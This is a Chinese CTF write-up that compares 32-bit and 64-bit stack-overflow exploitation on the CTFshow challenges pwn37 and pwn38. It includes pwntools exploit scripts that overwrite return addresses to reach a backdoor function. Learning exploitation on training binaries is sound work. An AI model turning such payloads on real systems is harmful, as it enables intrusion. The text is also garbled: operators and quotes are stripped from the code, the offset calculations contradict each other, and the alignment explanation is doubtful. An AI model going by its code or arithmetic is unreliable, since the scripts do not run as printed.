
CTFshow PWN入门实战32位与64位栈溢出对比解析第一次接触CTF二进制题目时看到栈溢出三个字总让人既兴奋又忐忑。作为PWN方向最基础的攻击手法它就像武侠小说里的扎马步——看似简单却蕴含着整个体系的核心原理。今天我们就以CTFshow平台上的pwn3732位和pwn3864位两道典型题目为例带你从零开始搭建完整的解题思维框架。1. 环境准备与基础认知在开始实战前我们需要明确几个关键概念。栈溢出本质上是利用程序对输入数据长度检查的缺失通过覆盖返回地址控制程序执行流。但32位和64位架构在实现细节上存在显著差异寄存器宽度32位使用4字节寄存器如eip/ebp64位使用8字节如rip/rbp参数传递32位主要通过栈传递参数64位优先使用寄存器rdi/rsi/rdx等栈对齐要求64位对栈指针有更严格的对齐约束通常需16字节对齐工具准备方面建议配置以下环境# 基础工具链 sudo apt install gdb python3-pip pip install pwntools # 反汇编工具 sudo apt install binutils gcc-multilib2. pwn37解题全流程32位系统2.1 初步分析拿到题目文件后首先进行基础检查file pwn37 checksec --filepwn37典型输出会显示ELF 32-bit LSB executable以及开启的防护机制本例中应只有NX保护。用IDA Pro 32位版本打开后快速定位到main函数和关键函数ctfshow()。在函数开头可以看到栈帧布局push ebp mov ebp, esp sub esp, 0x28 ; 分配栈空间2.2 漏洞定位与利用观察ctfshow()函数中的输入操作char buf[0x12]; gets(buf); // 危险函数无长度限制这里buf距离ebp的偏移计算为0x28总栈空间 - 0x12buf大小 0x16 但实际需要覆盖到返回地址还需加上ebp本身的4字节通过ShiftF12查找字符串发现存在/bin/sh和backdoor()函数地址0x8048521。构造payload时需要注意32位系统使用小端序需要覆盖保存的ebp和返回地址完整exp示例from pwn import * context(archi386, oslinux) p remote(pwn.challenge.ctf.show, 28146) payload flat( bA*(0x124), # buf ebp p32(0x8048521) # backdoor地址 ) p.sendline(payload) p.interactive()3. pwn38深度解析64位系统3.1 架构差异带来的挑战64位环境下除了寄存器宽度变化外最大的区别在于调用约定和栈对齐要求。用相同方法检查pwn38file pwn38 checksec --filepwn38IDA64分析显示栈布局push rbp mov rbp, rsp sub rsp, 0x20 char buf[0xA]; gets(buf);此时偏移计算buf到rbp距离0xA 覆盖返回地址需要0xA 8(rbp)3.2 堆栈平衡的艺术直接跳转到backdoor函数0x400657会导致崩溃因为64位下system()调用时栈需要16字节对齐。我们需要通过以下两种方案解决方案一使用leave指令地址0x40065Bpayload flat( bA*(0xA8), p64(0x40065B), # leave指令地址 p64(0x400657) # backdoor地址 )方案二使用ret指令地址0x40066Dpayload flat( bA*(0xA8), p64(0x40066D), # ret指令地址 p64(0x400657) # backdoor地址 )这两种方案都能确保执行system()时rsp正确对齐。背后的原理是leave相当于mov rsp, rbp; pop rbpret相当于pop rip这些指令都会调整rsp值4. 对比总结与进阶技巧通过两道题的对比我们可以总结出关键差异点特性32位系统64位系统寄存器宽度4字节8字节参数传递栈传递寄存器优先栈对齐要求4字节对齐16字节对齐ebp/rbp覆盖4字节8字节特殊处理直接跳转需考虑栈平衡实际比赛中还需要注意使用cyclic工具快速确定偏移量考虑ASLR等防护机制的绕过当没有现成后门函数时需要构造ROP链# 快速确定偏移示例 from pwn import * context.log_level debug p process(./pwn38) payload cyclic(100) p.sendline(payload) p.wait() core p.corefile offset cyclic_find(core.read(core.rsp, 4)) print(fOffset: {offset})掌握这些基础后建议尝试修改题目条件如关闭NX、增加canary等来练习更复杂的场景。记住栈溢出只是开始理解其中的计算机体系结构原理才是通向高阶PWN的关键。